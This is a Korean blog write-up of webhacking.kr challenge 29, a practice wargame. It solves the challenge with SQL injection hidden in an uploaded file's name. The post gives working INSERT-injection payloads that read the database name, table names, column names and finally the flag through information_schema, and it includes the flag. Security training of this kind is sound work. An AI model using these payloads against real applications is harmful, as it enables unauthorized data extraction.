WEB/webhacking.kr (old)

webhacking.kr 29번

hongjw 2020. 4. 12. 05:39

challenge 29 첫화면

첫 화면에 FLAG is in another table이라고 써있는 것을 보고 SQL인젝션 문제인가.. 생각을 해봤다.

 

공격시도할 수 있는 방법은 파일명을 이용하는 것밖에 없기 때문에 파일명을 조작해야한다.

파일을 업로드하는 것이기 때문에 insert문을 사용할 것이고, insert문의 칼럼 순서를 알아내야 한다. 

-> insert문 : insert into 테이블명 (칼럼1, 칼럼2, 칼럼3) values (값1, 값2, 값3)

 

이것저것 테스트해 본 결과 file, time, ip 순으로 되어있는 것을 알 수 있었다.

업로드 성공 !

이제 FLAG값을 알아내야한다.

FLAG값은 다른 테이블에 있다고 했으니 테이블명을 알아내야 하는데, 그 전에 ! 데이터베이스명을 먼저 알아야한다.

 

< 명령어 정리 >

데이터베이스명 찾기 : SELECT database();

테이블명 찾기 : SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='데이터베이스명'

칼럼명 찾기 : SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='테이블명'

 

1. 데이터베이스명 찾기

filename="file', 123, '내 ip주소'),((SELECT database()), 123, '내 ip주소')#"

데이터베이스명 : chall29

 

2. 테이블명 찾기

filename="file', 123, '내 ip주소'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 123, '내 ip주소')#"

테이블명 : flag_congratz

 

3. 칼럼명 찾기

filename="file', 123, '내 ip주소'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 123, '내 ip주소')#"

칼럼명 : flag

 

4. FLAG값 찾기 ⸜₍๑•⌔•๑ ₎⸝

filename="file', 123, '125.130.68.71'),((SELECT flag FROM flag_congratz), 123, '125.130.68.71')#"

 

드디어 FLAG값 등장 ㅎ

FLAG{didYouFeelConfused?_sorry:)}

 

 

 

+) insert문에 select문 이용한 예시

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 13번  (0) 2022.04.03
webhacking.kr 9번  (0) 2022.03.31
webhacking.kr 35번  (0) 2020.04.12
webhacking.kr 60번  (0) 2020.04.11
webhacking.kr 53번  (0) 2020.04.10